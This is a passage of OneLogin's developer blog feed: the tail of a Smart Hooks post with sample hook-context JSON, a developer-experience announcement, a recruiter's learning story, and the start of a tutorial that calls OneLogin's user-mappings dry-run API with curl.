&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;user&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;user_identifier&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;jim-hendrix&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;policy_id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 187345&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 36216766&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;last_login_success&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;2020-10-21T17:04:22.852Z&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;…&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;service-provider-initiated-login-app-information&quot;&gt;Service Provider initiated login app information&lt;&#x2F;h2&gt;
&lt;p&gt;For Service Provider (SP) initiated logins, you now see App information in the context which indicates the specific app used to initiate the login flow.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;  o&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;h&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;app&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;id: 959314,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;u&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;u&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;O&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;I&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;D&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;C&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; P&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;K&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;C&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;E&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;There are many out of the box App Policy settings available to control access to applications. If you include this information in the pre-authentication hook context, it now provides the flexibility to control which user policy should be applied, based on the application that is being accessed.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;check-out-postman&quot;&gt;Check out Postman&lt;&#x2F;h2&gt;
&lt;p&gt;Smart Hooks is an exciting new extensibility option for OneLogin customers to customize workflows and solve edge cases that aren’t supported out of the box.&lt;&#x2F;p&gt;
&lt;p&gt;We are building a library of sample code snippets to resolve the challenges you experience while using the methods that work best for you.&lt;&#x2F;p&gt;
&lt;p&gt;All of the sample code snippets are added to our Smart Hooks collection in Postman, which offers a Low Code solution for customization and deployment.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.postman.com&#x2F;run-collection&#x2F;2629710-ea50e15b-7acc-4bdf-9221-1d47fc8c0550&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;run.pstmn.io&#x2F;button.svg&quot; alt=&quot;Run in Postman&quot; &#x2F;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Download our collection today and let us know how you get on.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Introducing OneLogin Developer Experience</title>
        <published>2021-01-26T00:00:00+00:00</published>
        <updated>2021-01-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/intro-dev-experience/"/>
        <id>https://developers.onelogin.com/blog/intro-dev-experience/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/intro-dev-experience/">&lt;p&gt;Have you ever been required to use a tool or piece of software for something but the user experience was somewhat lacking or just plain unusable? Sure, the software addresses the business problem and comes at a reasonable price for the purchaser, but what are the hidden costs associated with such a bad user experience? Poor user experience meant doing tasks with the software took precious hours that could otherwise be spent elsewhere. Not to mention, it burns out your staff and will push some over the edge.
This line of thinking is no different when it comes to selecting which technologies to integrate your platform with. Developers are Users, and although the medium is different; a bad experience is a bad experience and causes a lot of cascading problems if user experience is not considered.
At OneLogin, our motto is “It’s That Simple” and we think it doesn’t end at the UX. Easy to use extends beyond the browser, to the developers who use our products, not because they &lt;em&gt;have to&lt;&#x2F;em&gt; but because they &lt;em&gt;want to&lt;&#x2F;em&gt;. Here’s some of the ways we look at simplifying the developer experience and why it’s critical to your business to consider Developer Experience as you would User Experience.
&lt;strong&gt;OneLogin For Developers By Developers&lt;&#x2F;strong&gt;
Our promise to you is to not simply throw code over a wall and wish you the best. Rather we’re here to partner with you, developer-to-developer, to ensure you know you’re building the right software with the best tools for the job.
For us, a proper developer experience is more than just good documentation. It’s forgiving APIs, helpful error messages, sensible SDKs and naming conventions, and a responsive and helpful community of security-first developers. Simply put, it’s excellence in everything we do to help you get your job done faster and safer.
We’ve seen our share of developer products with insanely high learning curves or unpleasant partnership experiences and we’re here to raise the bar for developers everywhere. This is our stance, OneLogin by developers for developers.
&lt;strong&gt;For Want of a Nail: Why DX is as Important as UX&lt;&#x2F;strong&gt;
It’s easy to de-prioritize the end-user experience when making a purchasing decision given all the other factors that weigh into the choice you must make. If you’re considering a CIAM integration or an effective way to manage identity and access, it is absolutely critical to consider how your technical staff or dev team will work with your selection.
As the saying goes, “For want of a nail…” The same applies to choosing a product that has a lackluster developer experience. If your developers are spending precious time pouring over murky documentation, deciphering strange error messages or can’t use an SDK in their choice language, it affects sprint estimates, delivery timelines, and ultimately your pending deals and revenue. Our developer experience aims to be non-intrusive so your developers can spend more of their time developing business critical applications that maximize your company’s value.
&lt;strong&gt;Get Involved&lt;&#x2F;strong&gt;
&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.surveymonkey.com&#x2F;r&#x2F;Dev-X?utm_medium=survey&amp;amp;utm_source=blog&amp;amp;utm_campaign=developer_survey_jan_2021&quot;&gt;Take the survey&lt;&#x2F;a&gt; to tell us a little more about yourself (anonymously or non-anonymously).
Follow us on &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;company&#x2F;onelogin&#x2F;&quot;&gt;LinkedIn&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.facebook.com&#x2F;OneLogin&#x2F;&quot;&gt;Facebook&lt;&#x2F;a&gt;, and &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;onelogindev?lang=en&quot;&gt;Twitter&lt;&#x2F;a&gt; to stay up-to-date with all things OneLogin, or get in touch with us at developers@onelogin.com.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>On the Road to Becoming a Software Engineer, Part 1</title>
        <published>2021-01-06T00:00:00+00:00</published>
        <updated>2021-01-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/becoming-software-engineer/"/>
        <id>https://developers.onelogin.com/blog/becoming-software-engineer/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/becoming-software-engineer/">&lt;p&gt;“Why does a recruiter have a bunch of commits in the company’s git repository?”
This question has come up a lot since I started working on a React app with Dominick Caponi, an engineer on the OneLogin Developer Experience team (DevEx).
I am a recruiter at OneLogin, but I am also learning to become a software engineer. The best way to learn is to apply what you learned from books or from a bootcamp to something in the real world. I got lucky because Dominick, who was very supportive, was able to find a “job” that fits my level of coding knowledge where I can actually make a contribution to the team’s goals. What was most rewarding from the experience was learning about and experiencing the collaborative part of software engineering. We covered such topics as:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;GitHub pull requests and successful collaboration
&lt;li&gt;Docker containers and how tricky this could be for a junior developer
&lt;li&gt;Remote collaboration via feedback, calls, Slack chats
&lt;li&gt;Using popular technologies such as React, Sass, Webpack, NodeJS and Docker
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
Overall, the project was a major breakthrough for me. I started by cloning the app and running it in Docker using &quot;docker-compose up.&quot; I did most of the work in Visual Studio Code and collaborated via Slack and Github. The overall journey was great together!
Dominick and I sat down recently and summarized our top four takeaways from this project.
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Working with a new junior developer can be fun!&lt;&#x2F;strong&gt;
&quot;Working with Helena has been great, and pretty much hands off. Of course, with any developer joining a shop for the first time, regardless of seniority, there&#x27;s always a period of learning how to start a project and work with the codebase. Helena was eager to apply her knowledge of web design&#x2F;development, willing to stretch herself into React and was able to utilize resources available to her in order to get the job done.&quot; - Dominick
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Nothing beats learning while working on a real world project.&lt;&#x2F;strong&gt;
Honestly, for me, the most difficult part was processing the front-end code and putting all the pieces together, figuring out the dependencies, examining the code to see where all things are defined and called, and getting used to using the proper &quot;engineering&quot; language.
Looking at existing code was, as Dominick puts it, an enriching &quot;trial by fire&quot; and a great experience that is hard to simulate at a bootcamp. To get through the hard parts, my best friends were Dominick and, of course, Google (Mozilla, Stack Overflow, and React-related blogs).
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;It is important to remember that you need to write code so that others can read and understand what you have done in the future.&lt;&#x2F;strong&gt;
&quot;Helena was pretty much on top of everything I threw at her. When someone learns a new framework, there&#x27;s always a period where you need to get a foothold on how to let the tools work for you, how to write code that others will read later, and how to stay a step ahead of the inevitable change that software undergoes. I think what Helena learned here will help her keep in mind the decisions engineers must make to ensure not only the outcome is achieved, but that the code can be read by others… in 6 months… after the requirements have changed 3 times.&quot; - Dominick.
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;The learning will never stop.&lt;&#x2F;strong&gt;
I&#x27;m super happy that I&#x27;m still working within the DevEx team. Right now Luis Velasco, Dominick&#x27;s counterpart on the API team, is helping me learn more about REST APIs through working on their API documentation. I&#x27;m getting to learn Postman, a popular API client that makes it easy for developers to create, share, test, and document APIs. The team is working hard to build a great Postman ecosystem and make it easy for developers at all levels to use OneLogin&#x27;s APIs. I found it extremely valuable to learn front-end and how APIs work back-to-back on my journey to becoming a software engineer.
&lt;&#x2F;ol&gt;
I&#x27;m looking forward to more projects within the DevEx team because the whole team is great and everyone is super helpful which makes me comfortable to share where I have my gaps and ask honestly about my &quot;learning needs.&quot; It will be cool to have Dominick as my mentor in the future because so far he is doing a great job, probably because he went through the similar direction within his engineering path. I truly want to thank him for all his support!
Stay tuned to read more about my journey to becoming a software engineer.
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Reporting to See Which User Mappings will Apply to a User</title>
        <published>2020-12-04T00:00:00+00:00</published>
        <updated>2020-12-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/reporting-user-mappings/"/>
        <id>https://developers.onelogin.com/blog/reporting-user-mappings/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/reporting-user-mappings/">&lt;style&gt;
.blog-border {
    border: 1px solid #D5D5D5;
    padding: 10px;
    border-radius: 3px;
}
.blog-border.code {
    background: #f3f3f4;
    margin-bottom: 15px;
}
&lt;&#x2F;style&gt;
&lt;p&gt;OneLogin administrators often wish to know an easy way to see which mappings will apply to a user. Until now, the only way was to use your mental brain power: memorize the user’s attributes and scan the shorthand conditions in your list of user mappings. It was very tedious at a minimum and impossible for mere mortals if you have dozens of user fields and one hundred mappings or more.&lt;&#x2F;p&gt;
&lt;p&gt;This is not a report you can build in the OneLogin UI. This is a report that we will be building using the OneLogin API endpoints. It will be run from a system you control in a simple shell script; this could be run from a Mac that you already have or a Linux machine. It will mostly run with tools likely already installed on your machine, but there is one dependent tool that will require administrative privilege to install so that we can parse JSON data from the API endpoints.&lt;&#x2F;p&gt;
&lt;p&gt;A powershell version may follow, let us know if you are interested.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;script-sample-output&quot;&gt;Script Sample Output&lt;&#x2F;h3&gt;
&lt;p&gt;The script will simply output a listing of the mappings for your organization with the position number, the text name, and the actual rule identifier in case you use other APIs and script to manipulate your mappings. This can be adjusted to print out exactly what you want, for instance, into a CSV if you wish.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;script-sample.png&quot; alt=&quot;Sample list of user mappings&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;But this simple no&#x2F;YES output will serve you well initially.&lt;&#x2F;p&gt;
&lt;p&gt;Sound good? Let’s proceed.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-api-endpoint&quot;&gt;The API Endpoint&lt;&#x2F;h3&gt;
&lt;p&gt;The API is straightforward, so let’s get that out of the way first. That may be all that you came here for.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; POST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;https:&#x2F;&#x2F;&amp;lt;subdomain&amp;gt;.onelogin.com&#x2F;api&#x2F;2&#x2F;mappings&#x2F;&amp;lt;mapping ID&amp;gt;&#x2F;dryrun&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, 